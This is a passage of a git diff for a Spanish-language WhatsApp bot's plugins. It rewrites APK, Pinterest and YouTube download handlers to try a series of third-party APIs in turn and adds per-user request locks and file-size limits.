+const downloadAttempts = [async () => {
+const res = await fetch(`https://api.dorratz.com/v2/apk-dl?text=${text}`);
+const data = await res.json();
+if (!data.name) throw new Error('No data from dorratz API');
+return { name: data.name, package: data.package, lastUpdate: data.lastUpdate, size: data.size, icon: data.icon, dllink: data.dllink };
+},
+async () => {
+const res = await fetch(`${info.apis}/download/apk?query=${text}`);
+const data = await res.json();
+const apkData = data.data;
+return { name: apkData.name, developer: apkData.developer, publish: apkData.publish, size: apkData.size, icon: apkData.image, dllink: apkData.download };
+},
+async () => {
+const searchA = await search(text);
+const data5 = await download(searchA[0].id);
+return { name: data5.name, package: data5.package, lastUpdate: data5.lastup, size: data5.size, icon: data5.icon, dllink: data5.dllink };
+}];
+
+let apkData = null;
+for (const attempt of downloadAttempts) {
+try {
+apkData = await attempt();
+if (apkData) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
+
+if (!apkData) throw new Error('No se pudo descargar el APK desde ninguna API');
+const response = `≪DESCARGADO APKS🚀≫
+
+┏━━━━━━━━━━━━━━━━━━━━━━•
+┃💫 𝙉𝙊𝙈𝘽𝙍𝙀: ${apkData.name}
+${apkData.developer ? `┃👤 𝘿𝙀𝙎𝘼𝙍𝙍𝙊𝙇𝙇𝙊: ${apkData.developer}` : `┃📦 𝙋𝘼𝘾𝙆𝘼𝙂𝙀: ${apkData.package}`}
+┃🕒 𝙐𝙇𝙏𝙄𝙈𝘼 𝘼𝘾𝙏𝙐𝙇𝙄𝙕𝘼𝘾𝙄𝙊𝙉: ${apkData.developer ? apkData.publish : apkData.lastUpdate}
+┃💪 𝙋𝙀𝙎𝙊: ${apkData.size}
+┗━━━━━━━━━━━━━━━━━━━━━━━•
+
+> *⏳ ᴱˢᵖᵉʳᵉ ᵘⁿ ᵐᵒᵐᵉⁿᵗᵒ ˢᵘˢ ᵃᵖᵏ ˢᵉ ᵉˢᵗᵃ ᵉⁿᵛᶦᵃⁿᵈᵒ...*`;
+const responseMessage = await conn.sendFile(m.chat, apkData.icon, 'apk.jpg', response, m);
+userMessages.set(m.sender, responseMessage);
+
+const apkSize = apkData.size.toLowerCase();
+if (apkSize.includes('gb') || (apkSize.includes('mb') && parseFloat(apkSize) > 999)) {
+await m.reply('*⚠️ 𝙀𝙡 𝙖𝙥𝙠 𝙚𝙨 𝙢𝙪𝙮 𝙥𝙚𝙨𝙖𝙙𝙤.*');
+return;
+}
+
+await conn.sendMessage(m.chat, { document: { url: apkData.dllink }, mimetype: 'application/vnd.android.package-archive', fileName: `${apkData.name}.apk`, caption: null }, { quoted: m });
+m.react("✅");
+} catch (e) {
+m.react('❌');
+console.log(e);
+handler.limit = false;
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['apk', 'apkmod'];
+handler.tags = ['downloader'];
+handler.command = /^(apkmod|apk|modapk|dapk2|aptoide|aptoidedl)$/i;
+handler.register = true;
+handler.limit = 2;
+
+export default handler;
+
+async function searchApk(text) {
+ const response = await axios.get(`${apkpureApi}${encodeURIComponent(text)}`);
+ const data = response.data;
+ return data.results;
+}
+
+async function downloadApk(id) {
+ const response = await axios.get(`${apkpureDownloadApi}${id}`);
+ const data = response.data;
+ return data;
+}
\ No newline at end of file
diff --git a/plugins/descargas-pinterest.js b/plugins/descargas-pinterest.js
index 4eb4769c0..7e5dfea22 100644
--- a/plugins/descargas-pinterest.js
+++ b/plugins/descargas-pinterest.js
@@ -1,14 +1,63 @@
-import { pinterest } from '@bochilteam/scraper'
-let handler = async(m, { conn, text, usedPrefix, command }) => {
-if (!text) throw `*Que esta buscado❓*️\n*Use de la siguiente manera*\n*Ejemplo:*\n*${usedPrefix + command} Loli*`
-const json = await pinterest(text)
-await conn.sendFile(m.chat, json.getRandom(), 'error.jpg', `
-✨ *Resultados de: ${text}`.trim(), m)
-}
-handler.help = ['pinterest ']
-handler.tags = ['internet']
-handler.command = /^(pinterest|dlpinterest|pinterestdl)$/i
-handler.money = 100
-handler.register = true
-handler.level = 1
-export default handler
+import axios from 'axios';
+import { pinterest } from '../lib/scraper.js';
+
+let handler = async (m, { conn, usedPrefix, command, text }) => {
+if (!text) return m.reply(`*⚠️ Ingresa el término de búsqueda.*\nEj: ${usedPrefix + command} nayeon`)
+m.react("⌛");
+try {
+const downloadAttempts = [async () => {
+const response = await pinterest.search(text, 6);
+const pins = response.result.pins.slice(0, 5);
+return pins.map(pin => ({title: pin.title || text,
+description: `🔎 Por: ${pin.uploader.username}`,
+image: pin.media.images.orig.url}));
+},
+async () => {
+const res = await axios.get(`https://api.siputzx.my.id/api/s/pinterest?query=${encodeURIComponent(text)}`);
+const data = res.data.data.slice(0, 5);
+return data.map(result => ({title: result.grid_title || text, description: '', image: result.images_url }));
+},
+async () => {
+const res = await axios.get(`https://api.dorratz.com/v2/pinterest?q=${text}`);
+const data = res.data.slice(0, 5);
+return data.map(result => ({title: result.fullname || text, description: `*🔸️Autor:* ${result.upload_by}\n*🔸️ Seguidores:* ${result.followers}`, image: result.image }));
+},
+async () => {
+const res = await axios.get(`${info.apis}/search/pinterestv2?text=${encodeURIComponent(text)}`);
+const data = res.data.data.slice(0, 5);
+return data.map(result => ({title: result.description || text, description: `🔎 Autor: ${result.name} (@${result.username})`, image: result.image }));
+}];
+
+let results = null;
+for (const attempt of downloadAttempts) {
+try {
+results = await attempt();
+if (results && results.length > 0) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
+
+if (!results || results.length === 0) throw new Error(`❌ No se encontraron resultados para "${text}".`);
+const medias = results.map(result => ({ type: "image", data: { url: result.image } }));
+await conn.sendAlbumMessage(m.chat, medias, `✅ Resultados para: ${text}`, m);
+//conn.sendFile(m.chat, results[0].image, 'error.jpg', `_🔎 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤𝙨 𝙙𝙚: ${text}_`, m);
+/*if (m.isWABusiness) {
+const medias = results.map(result => ({ type: "image", data: { url: result.image } }));
+await conn.sendAlbumMessage(m.chat, medias, `✅ Resultados para: ${text}`, m);
+} else {
+const messages = results.map(result => ["", `${result.title}\n${result.description}`, result.image]);
+await conn.sendCarousel(m.chat, `✅ Resultados para: ${text}`, "🔍 Pinterest Search", messages, m);
+}*/
+m.react("✅️");
+} catch (e) {
+await m.reply(e.message || `❌ No se encontraron resultados para "${text}".`);
+m.react("❌️");
+}};
+handler.help = ['pinterest '];
+handler.tags = ['buscadores'];
+handler.command = /^(pinterest)$/i;
+handler.register = true;
+handler.limit = 1;
+
+export default handler;
\ No newline at end of file
diff --git a/plugins/descargas-play.js b/plugins/descargas-play.js
index e7c42af8c..3bfd84d7d 100644
--- a/plugins/descargas-play.js
+++ b/plugins/descargas-play.js
@@ -1,188 +1,200 @@
-import fetch from "node-fetch"
-import yts from "yt-search"
-import ytdl from 'ytdl-core'
-import axios from 'axios'
-import { youtubedl, youtubedlv2 } from '@bochilteam/scraper'
-let handler = async (m, { conn, command, args, text, usedPrefix }) => {
-let q, v, yt, dl_url, ttl, size, lolhuman, lolh, n, n2, n3, n4, cap, qu, currentQuality
-if (!text) throw `*🤔Que esta buscado? 🤔*\n*Ingrese el nombre del la canción*\n\n*Ejemplo:*\n#play emilia 420`
+//import { youtubedl, youtubedlv2 } from '@bochilteam/scraper'
+import fetch from 'node-fetch';
+import yts from 'yt-search';
+import ytdl from 'ytdl-core';
+import axios from 'axios';
+import { savetube } from '../lib/yt-savetube.js'
+import { ogmp3 } from '../lib/youtubedl.js';
+const LimitAud = 725 * 1024 * 1024; // 725MB
+const LimitVid = 425 * 1024 * 1024; // 425MB
+const youtubeRegexID = /(?:youtu\.be\/|youtube\.com\/(?:watch\?v=|embed\/))([a-zA-Z0-9_-]{11})/;
+const userCaptions = new Map();
+const userRequests = {};
+
+const handler = async (m, { conn, command, args, text, usedPrefix }) => {
+ if (!text) return m.reply(`*🤔Que está buscando? 🤔*\n*Ingrese el nombre de la canción*\n\n*Ejemplo:*\n${usedPrefix + command} emilia 420`);
+const tipoDescarga = command === 'play' || command === 'musica' ? 'audio' : command === 'play2' ? 'video' : command === 'play3' ? 'audio (documento)' : command === 'play4' ? 'video (documento)' : '';
+if (userRequests[m.sender]) return await conn.reply(m.chat, `⏳ Hey @${m.sender.split('@')[0]} espera pendejo, ya estás descargando algo 🙄\nEspera a que termine tu solicitud actual antes de hacer otra...`, userCaptions.get(m.sender) || m);
+userRequests[m.sender] = true;
try {
-const yt_play = await search(args.join(" "))
-let additionalText = ''
-if (command === 'play') {
-additionalText = 'audio 🔊'
-} else if (command === 'play2') {
-additionalText = 'video 🎥'}
-await conn.sendMessage(m.chat, {
-text: `${yt_play[0].title}
+let videoIdToFind = text.match(youtubeRegexID) || null;
+const yt_play = await search(args.join(' '));
+let ytplay2 = await yts(videoIdToFind === null ? text : 'https://youtu.be/' + videoIdToFind[1]);
+if (videoIdToFind) {
+const videoId = videoIdToFind[1];
+ytplay2 = ytplay2.all.find(item => item.videoId === videoId) || ytplay2.videos.find(item => item.videoId === videoId)}
+ytplay2 = ytplay2.all?.[0] || ytplay2.videos?.[0] || ytplay2;
+const PlayText = await conn.sendMessage(m.chat, { text: `${yt_play[0].title}
*⇄ㅤ ◁ ㅤ ❚❚ㅤ ▷ㅤ ↻*
*⏰ Duración:* ${secondString(yt_play[0].duration.seconds)}
-*👉🏻Aguarde un momento en lo que envío su ${additionalText}*`,
-contextInfo: {
-externalAdReply: {
-title: yt_play[0].title,
-body: wm,
+*👉🏻Aguarde un momento en lo que envío su ${tipoDescarga}*`,
+contextInfo:{
+forwardedNewsletterMessageInfo: {
+newsletterJid: '120363305025805187@newsletter',
+serverMessageId: '',
+newsletterName: 'LoliBot ✨️' },
+forwardingScore: 9999999,
+isForwarded: true,
+mentionedJid: null,
+externalAdReply: {
+showAdAttribution: false,
+renderLargerThumbnail: false,
+title: yt_play[0].title,
+body: "LoliBot",
+containsAutoReply: true,
+mediaType: 1,
thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m })
-if (command == 'play') {
-try {
-let q = '128kbps'
-let v = yt_play[0].url
-const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
-const dl_url = await yt.audio[q].download()
-const ttl = await yt.title
-const size = await yt.audio[q].fileSizeH
-await conn.sendMessage(m.chat, { audio: { url: dl_url }, mimetype: 'audio/mpeg' }, { quoted: m})
-} catch {
-try {
-const dataRE = await fetch(`https://api.akuari.my.id/downloader/youtube?link=${yt_play[0].url}`)
-const dataRET = await dataRE.json()
-await conn.sendMessage(m.chat, { audio: { url: dataRET.mp3[1].url }, mimetype: 'audio/mpeg' }, { quoted: m})
-} catch {
-try {
-let humanLol = await fetch(`https://api.lolhuman.xyz/api/ytplay?apikey=${lolkeysapi}&query=${yt_play[0].title}`)
-let humanRET = await humanLol.json()
-await conn.sendMessage(m.chat, { audio: { url: humanRET.result.audio.link}, mimetype: 'audio/mpeg' }, { quoted: m})
-} catch {
-try {
-let lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytaudio2?apikey=${lolkeysapi}&url=${yt_play[0].url}`)
-let lolh = await lolhuman.json()
-let n = lolh.result.title || 'error'
-await conn.sendMessage(m.chat, { audio: { url: lolh.result.link}, mimetype: 'audio/mpeg' }, { quoted: m})
-} catch {
-try {
-let searchh = await yts(yt_play[0].url)
-let __res = searchh.all.map(v => v).filter(v => v.type == "video")
-let infoo = await ytdl.getInfo('https://youtu.be/' + __res[0].videoId)
-let ress = await ytdl.chooseFormat(infoo.formats, { filter: 'audioonly' })
-await conn.sendMessage(m.chat, { audio: { url: ress.url}, mimetype: 'audio/mpeg' }, { quoted: m})
-/*conn.sendMessage(m.chat, { audio: { url: ress.url }, mimetype: 'audio/mpeg', contextInfo: {
-externalAdReply: {
-title: __res[0].title,
-body: "",
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m })*/
-} catch {
-}}}}}
-}
-if (command == 'play2') {
-try {
-let qu = '360'
-let q = qu + 'p'
-let v = yt_play[0].url
-const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
-const dl_url = await yt.video[q].download()
-const ttl = await yt.title
-const size = await yt.video[q].fileSizeH
-await await conn.sendMessage(m.chat, { video: { url: dl_url }, fileName: `${ttl}.mp4`, mimetype: 'video/mp4', caption: `*🔰 Aqui esta tu video*\n*🔥 Titulo: ${ttl}`, thumbnail: await fetch(yt.thumbnail) }, { quoted: m })
-} catch {
-try {
-let mediaa = await ytMp4(yt_play[0].url)
-await conn.sendMessage(m.chat, { video: { url: mediaa.result }, fileName: `error.mp4`, caption: `_${wm}_`, thumbnail: mediaa.thumb, mimetype: 'video/mp4' }, { quoted: m })
-} catch {
+sourceUrl: "skyultraplus.com"
+}}}, { quoted: m })
+userCaptions.set(m.sender, PlayText);
+
+const [input, qualityInput = command === 'play' || command === 'musica' || command === 'play3' ? '320' : '720'] = text.split(' ');
+const audioQualities = ['64', '96', '128', '192', '256', '320'];
+const videoQualities = ['240', '360', '480', '720', '1080'];
+const isAudioCommand = command === 'play' || command === 'musica' || command === 'play3';
+const selectedQuality = (isAudioCommand ? audioQualities : videoQualities).includes(qualityInput) ? qualityInput : (isAudioCommand ? '320' : '720');
+const isAudio = command.toLowerCase().includes('mp3') || command.toLowerCase().includes('audio')
+const format = isAudio ? 'mp3' : '720'
+
+const audioApis = [
+{ url: () => savetube.download(yt_play[0].url, format), extract: (data) => ({ data: data.result.download, isDirect: false }) },
+{ url: () => ogmp3.download(yt_play[0].url, selectedQuality, 'audio'), extract: (data) => ({ data: data.result.download, isDirect: false }) },
+{ url: () => fetch(`https://api.dorratz.com/v3/ytdl?url=${yt_play[0].url}`).then(res => res.json()), extract: (data) => {
+const mp3 = data.medias.find(media => media.quality === "160kbps" && media.extension === "mp3");
+return { data: mp3.url, isDirect: false }}},
+{ url: () => fetch(`https://api.neoxr.eu/api/youtube?url=${yt_play[0].url}&type=audio&quality=128kbps&apikey=GataDios`).then(res => res.json()), extract: (data) => ({ data: data.data.url, isDirect: false }) },
+{ url: () => fetch(`https://api.fgmods.xyz/api/downloader/ytmp4?url=${yt_play[0].url}&apikey=elrebelde21`).then(res => res.json()), extract: (data) => ({ data: data.result.dl_url, isDirect: false }) },
+{ url: () => fetch(`https://api.siputzx.my.id/api/d/ytmp4?url=${yt_play[0].url}`).then(res => res.json()), extract: (data) => ({ data: data.dl, isDirect: false }) },
+{ url: () => fetch(`${info.apis}/download/ytmp3?url=${yt_play[0].url}`).then(res => res.json()), extract: (data) => ({ data: data.status ? data.data.download.url : null, isDirect: false }) },
+{ url: () => fetch(`https://api.zenkey.my.id/api/download/ytmp3?apikey=zenkey&url=${yt_play[0].url}`).then(res => res.json()), extract: (data) => ({ data: data.result.download.url, isDirect: false }) },
+{ url: () => fetch(`https://exonity.tech/api/dl/playmp3?query=${yt_play[0].title}`).then(res => res.json()), extract: (data) => ({ data: data.result.download, isDirect: false })
+}];
+
+const videoApis = [
+{ url: () => savetube.download(yt_play[0].url, '720'), extract: (data) => ({ data: data.result.download, isDirect: false }) },
+{ url: () => ogmp3.download(yt_play[0].url, selectedQuality, 'video'), extract: (data) => ({ data: data.result.download, isDirect: false }) },
+{ url: () => fetch(`https://api.siputzx.my.id/api/d/ytmp4?url=${yt_play[0].url}`).then(res => res.json()), extract: (data) => ({ data: data.dl, isDirect: false }) },
+{ url: () => fetch(`https://api.neoxr.eu/api/youtube?url=${yt_play[0].url}&type=video&quality=720p&apikey=GataDios`).then(res => res.json()), extract: (data) => ({ data: data.data.url, isDirect: false }) },
+{ url: () => fetch(`https://api.fgmods.xyz/api/downloader/ytmp4?url=${yt_play[0].url}&apikey=elrebelde21`).then(res => res.json()), extract: (data) => ({ data: data.result.dl_url, isDirect: false }) },
+{ url: () => fetch(`${info.apis}/download/ytmp4?url=${encodeURIComponent(yt_play[0].url)}`).then(res => res.json()), extract: (data) => ({ data: data.status ? data.data.download.url : null, isDirect: false }) },
+{ url: () => fetch(`https://exonity.tech/api/dl/playmp4?query=${encodeURIComponent(yt_play[0].title)}`).then(res => res.json()), extract: (data) => ({ data: data.result.download, isDirect: false })
+}];
+
+const download = async (apis) => {
+let mediaData = null;
+let isDirect = false;
+for (const api of apis) {
try {
-let lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytvideo2?apikey=${lolkeysapi}&url=${yt_play[0].url}`)
-let lolh = await lolhuman.json()
-let n = lolh.result.title || 'error'
-let n2 = lolh.result.link
-let n3 = lolh.result.size
-let n4 = lolh.result.thumbnail
-await conn.sendMessage(m.chat, { video: { url: n2 }, fileName: `${n}.mp4`, mimetype: 'video/mp4', caption: `*🔰 Aqui esta tu video*\n*🔥 Titulo: ${n}`, thumbnail: await fetch(n4) }, { quoted: m })
-} catch {
-}}}}} catch {
+const data = await api.url();
+const { data: extractedData, isDirect: direct } = api.extract(data);
+if (extractedData) {
+const size = await getFileSize(extractedData);
+if (size >= 1024) {
+mediaData = extractedData;
+isDirect = direct;
+break;
+}}} catch (e) {
+console.log(`Error con API: ${e}`);
+continue;
+}}
+return { mediaData, isDirect };
+};
+
+if (command === 'play' || command === 'musica') {
+const { mediaData, isDirect } = await download(audioApis);
+if (mediaData) {
+const fileSize = await getFileSize(mediaData);
+if (fileSize > LimitAud) {
+await conn.sendMessage(m.chat, { document: isDirect ? mediaData : { url: mediaData }, mimetype: 'audio/mpeg', fileName: `${yt_play[0].title}.mp3`, contextInfo: {} }, { quoted: m });
+} else {
+await conn.sendMessage(m.chat, { audio: isDirect ? mediaData : { url: mediaData }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m });
+}} else {
+//await m.react('❌');
+}}
+
+if (command === 'play2' || command === 'video') {
+const { mediaData, isDirect } = await download(videoApis);
+if (mediaData) {
+const fileSize = await getFileSize(mediaData);
+const messageOptions = { fileName: `${yt_play[0].title}.mp4`, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}`, mimetype: 'video/mp4' };
+if (fileSize > LimitVid) {
+await conn.sendMessage(m.chat, { document: isDirect ? mediaData : { url: mediaData }, ...messageOptions }, { quoted: m });
+} else {
+await conn.sendMessage(m.chat, { video: isDirect ? mediaData : { url: mediaData }, thumbnail: yt_play[0].thumbnail, ...messageOptions }, { quoted: m });
+}} else {
+//await m.react('❌');
+}}
+
+if (command === 'play3' || command === 'playdoc') {
+const { mediaData, isDirect } = await download(audioApis);
+if (mediaData) {
+await conn.sendMessage(m.chat, { document: isDirect ? mediaData : { url: mediaData }, mimetype: 'audio/mpeg', fileName: `${yt_play[0].title}.mp3`, contextInfo: {} }, { quoted: m });
+} else {
+await m.react('❌');
+}}
+
+if (command === 'play4' || command === 'playdoc2') {
+const { mediaData, isDirect } = await download(videoApis);
+if (mediaData) {
+await conn.sendMessage(m.chat, { document: isDirect ? mediaData : { url: mediaData }, fileName: `${yt_play[0].title}.mp4`, caption: `🔰Título: ${yt_play[0].title}`, thumbnail: yt_play[0].thumbnail, mimetype: 'video/mp4'}, { quoted: m })
+} else {
+//await m.react('❌');
+}}
+} catch (error) {
+console.error(error);
+m.react("❌️")
+} finally {
+delete userRequests[m.sender];
}}
-handler.command = ['play', 'play2']
-handler.exp = 0
-export default handler
+handler.help = ['play', 'play2', 'play3', 'play4', 'playdoc'];
+handler.tags = ['downloader'];
+handler.command = ['play', 'play2', 'play3', 'play4', 'audio', 'video', 'playdoc', 'playdoc2', 'musica'];
+handler.register = true;
+export default handler;
async function search(query, options = {}) {
-const search = await yts.search({ query, hl: "es", gl: "ES", ...options });
-return search.videos};
+const search = await yts.search({query, hl: 'es', gl: 'ES', ...options});
+return search.videos;
+}
function MilesNumber(number) {
const exp = /(\d)(?=(\d{3})+(?!\d))/g;
-const rep = "$1.";
-let arr = number.toString().split(".");
+const rep = '$1.';
+const arr = number.toString().split('.');
arr[0] = arr[0].replace(exp, rep);
-return arr[1] ? arr.join(".") : arr[0]};
+return arr[1] ? arr.join('.') : arr[0];
+}
function secondString(seconds) {
seconds = Number(seconds);
-var d = Math.floor(seconds / (3600 * 24));
-var h = Math.floor((seconds % (3600 * 24)) / 3600);
-var m = Math.floor((seconds % 3600) / 60);
-var s = Math.floor(seconds % 60);
-var dDisplay = d > 0 ? d + (d == 1 ? " día, " : " días, ") : "";
-var hDisplay = h > 0 ? h + (h == 1 ? " hora, " : " horas, ") : "";
-var mDisplay = m > 0 ? m + (m == 1 ? " minuto, " : " minutos, ") : "";
-var sDisplay = s > 0 ? s + (s == 1 ? " segundo" : " segundos") : "";
-return dDisplay + hDisplay + mDisplay + sDisplay};
-
-function bytesToSize(bytes) {
-return new Promise((resolve, reject) => {
-const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
-if (bytes === 0) return 'n/a';
-const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)), 10);
-if (i === 0) resolve(`${bytes} ${sizes[i]}`);
-resolve(`${(bytes / (1024 ** i)).toFixed(1)} ${sizes[i]}`)})};
-
-async function ytMp3(url) {
-return new Promise((resolve, reject) => {
-ytdl.getInfo(url).then(async(getUrl) => {
-let result = [];
-for(let i = 0; i < getUrl.formats.length; i++) {
-let item = getUrl.formats[i];
-if (item.mimeType == 'audio/webm; codecs=\"opus\"') {
-let { contentLength } = item;
-let bytes = await bytesToSize(contentLength);
-result[i] = { audio: item.url, size: bytes }}};
-let resultFix = result.filter(x => x.audio != undefined && x.size != undefined)
-let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].audio}`);
-let tinyUrl = tiny.data;
-let title = getUrl.videoDetails.title;
-let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({ title, result: tinyUrl, result2: resultFix, thumb })}).catch(reject)})};
-
-async function ytMp4(url) {
-return new Promise(async(resolve, reject) => {
-ytdl.getInfo(url).then(async(getUrl) => {
-let result = [];
-for(let i = 0; i < getUrl.formats.length; i++) {
-let item = getUrl.formats[i];
-if (item.container == 'mp4' && item.hasVideo == true && item.hasAudio == true) {
-let { qualityLabel, contentLength } = item;
-let bytes = await bytesToSize(contentLength);
-result[i] = { video: item.url, quality: qualityLabel, size: bytes }}};
-let resultFix = result.filter(x => x.video != undefined && x.size != undefined && x.quality != undefined)
-let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].video}`);
-let tinyUrl = tiny.data;
-let title = getUrl.videoDetails.title;
-let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({ title, result: tinyUrl, rersult2: resultFix[0].video, thumb })}).catch(reject)})};
-
-async function ytPlay(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async(getData) => {
-let result = getData.videos.slice( 0, 5 );
-let url = [];
-for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
-let random = url[0];
-let getAudio = await ytMp3(random);
-resolve(getAudio)}).catch(reject)})};
+const d = Math.floor(seconds / (3600 * 24));
+const h = Math.floor((seconds % (3600 * 24)) / 3600);
+const m = Math.floor((seconds % 3600) / 60);
+const s = Math.floor(seconds % 60);
+const dDisplay = d > 0 ? d + (d == 1 ? ' día, ' : ' días, ') : '';
+const hDisplay = h > 0 ? h + (h == 1 ? ' hora, ' : ' horas, ') : '';
+const mDisplay = m > 0 ? m + (m == 1 ? ' minuto, ' : ' minutos, ') : '';
+const sDisplay = s > 0 ? s + (s == 1 ? ' segundo' : ' segundos') : '';
+return dDisplay + hDisplay + mDisplay + sDisplay;
+ }
+
+const getBuffer = async (url) => {
+ try {
+ const response = await fetch(url);
+ const buffer = await response.arrayBuffer();
+ return Buffer.from(buffer);
+ } catch (error) {
+ console.error("Error al obtener el buffer", error);
+ throw new Error("Error al obtener el buffer");
+ }
+}
-async function ytPlayVid(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async(getData) => {
-let result = getData.videos.slice( 0, 5 );
-let url = [];
-for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
-let random = url[0];
-let getVideo = await ytMp4(random);
-resolve(getVideo)}).catch(reject)})};
+async function getFileSize(url) {
+ try {
+ const response = await fetch(url, { method: 'HEAD' });
+ return parseInt(response.headers.get('content-length') || 0);
+ } catch {
+ return 0; // Si falla, asumimos 0
+ }
+}
\ No newline at end of file
diff --git a/plugins/descargas-play2.js b/plugins/descargas-play2.js
new file mode 100644
index 000000000..bff305daf
--- /dev/null
+++ b/plugins/descargas-play2.js
@@ -0,0 +1,251 @@
+//import { youtubedl, youtubedlv2 } from '@bochilteam/scraper'
+import fetch from 'node-fetch'
+import yts from 'yt-search'
+import ytdl from 'ytdl-core'
+import axios from 'axios'
+import { savetube } from '../lib/yt-savetube.js'
+import { ogmp3 } from '../lib/youtubedl.js';
+import { amdl, ytdown } from '../lib/scraper.js';
+
+const userRequests = {};
+let handler = async (m, { conn, text, args, usedPrefix, command }) => {
+if (!args[0]) return m.reply('*𝙌𝙪𝙚 𝙚𝙨𝙩𝙖 𝙗𝙪𝙨𝙘𝙖𝙙𝙤🤔 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙥𝙖𝙧𝙖 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧 𝙚𝙡 𝙖𝙪𝙙𝙞𝙤*')
+const sendType = command.includes('doc') ? 'document' : command.includes('mp3') ? 'audio' : 'video';
+const yt_play = await search(args.join(' '));
+let youtubeLink = '';
+if (args[0].includes('you')) {
+youtubeLink = args[0];
+} else {
+const index = parseInt(args[0]) - 1;
+if (index >= 0) {
+if (Array.isArray(global.videoList) && global.videoList.length > 0) {
+const matchingItem = global.videoList.find(item => item.from === m.sender);
+if (matchingItem) {
+if (index < matchingItem.urls.length) {
+youtubeLink = matchingItem.urls[index];
+} else {
+return m.reply(`⚠️ 𝙉𝙤 𝙨𝙚 𝙚𝙣𝙘𝙤𝙣𝙩𝙧𝙤 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚𝙨 𝙥𝙖𝙧𝙖 𝙚𝙨𝙚 𝙣𝙪𝙢𝙚𝙧𝙤, 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 𝙞𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙣𝙪𝙢𝙚𝙧𝙤 𝙚𝙣𝙩𝙧𝙚 1 𝙮 𝙚𝙡 ${matchingItem.urls.length}*`)
+}} else {
+}}}}
+
+if (userRequests[m.sender]) {
+return m.reply('⏳ *Espera...* Ya hay una solicitud en proceso. Por favor, espera a que termine antes de hacer otra.')}
+userRequests[m.sender] = true;
+try {
+
+if (command == 'ytmp3' || command == 'fgmp3' || command == 'ytmp3doc') {
+m.reply([`*⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋ 𝙪𝙣 𝙢𝙤𝙢𝙚𝙣𝙩𝙤... 𝙔𝙖 𝙚𝙨𝙩𝙤𝙮 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙙𝙤 𝙩𝙪 𝙖𝙪𝙙𝙞𝙤🍹*`, `⌛ 𝙋𝙍𝙊𝘾𝙀𝙎𝘼𝙉𝘿𝙊...\n*𝘌𝘴𝘵𝘰𝘺 𝘪𝘯𝘵𝘦𝘯𝘵𝘢𝘯𝘥𝘰 𝘥𝘦𝘴𝘤𝘢𝘳𝘨𝘢 𝘴𝘶𝘴 𝘈𝘶𝘥𝘪𝘰 𝘦𝘴𝘱𝘦𝘳𝘦 🏃♂️💨*`, `Calmao pa estoy bucando tu canción 😎\n\n*Recuerda colocar bien el nombre de la cancion o el link del video de youtube*\n\n> *Si el comando *play no funciona utiliza el comando *ytmp3*`].getRandom())
+try {
+const isAudio = command.toLowerCase().includes('mp3') || command.toLowerCase().includes('audio')
+const format = isAudio ? 'mp3' : '720'
+const result = await savetube.download(args[0], format)
+const data = result.result
+await conn.sendMessage(m.chat, { [sendType]: { url: data.download }, mimetype: 'audio/mpeg', fileName: `audio.mp3`, contextInfo: {} }, { quoted: m });
+} catch {
+try {
+const format = args[1] || '720p';
+const response = await amdl.download(args[0], format);
+const { title, type, download, thumbnail } = response.result;
+if (type === 'audio') {
+await conn.sendMessage(m.chat, { [sendType]: { url: download }, mimetype: 'audio/mpeg', fileName: `${title}.mp3`, contextInfo: {} }, { quoted: m });
+}
+} catch {
+try {
+const format = args[1] || 'mp3';
+const response = await ytdown.download(args[0], format);
+const { title, type, download, thumbnail } = response;
+if (type === 'audio') {
+await conn.sendMessage(m.chat, { [sendType]: { url: download }, mimetype: 'audio/mpeg', fileName: `${title}.mp3`, contextInfo: {} }, { quoted: m })
+}
+} catch {
+try {
+const res = await fetch(`https://api.siputzx.my.id/api/d/ytmp3?url=${args}`);
+let { data } = await res.json();
+await conn.sendMessage(m.chat, { [sendType]: { url: data.dl }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m});
+} catch {
+try {
+const res = await fetch(`https://api.agatz.xyz/api/ytmp3?url=${args}`)
+let data = await res.json();
+await conn.sendMessage(m.chat, { [sendType]: { url: data.data.downloadUrl }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m });
+} catch {
+try {
+const res = await fetch(`https://api.zenkey.my.id/api/download/ytmp3?apikey=zenkey&url=${args}`)
+let { result } = await res.json()
+await conn.sendMessage(m.chat, { [sendType]: { url: await result.download.url }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m })
+} catch {
+try {
+const apiUrl = `${info.apis}/download/ytmp3?url=${args}`;
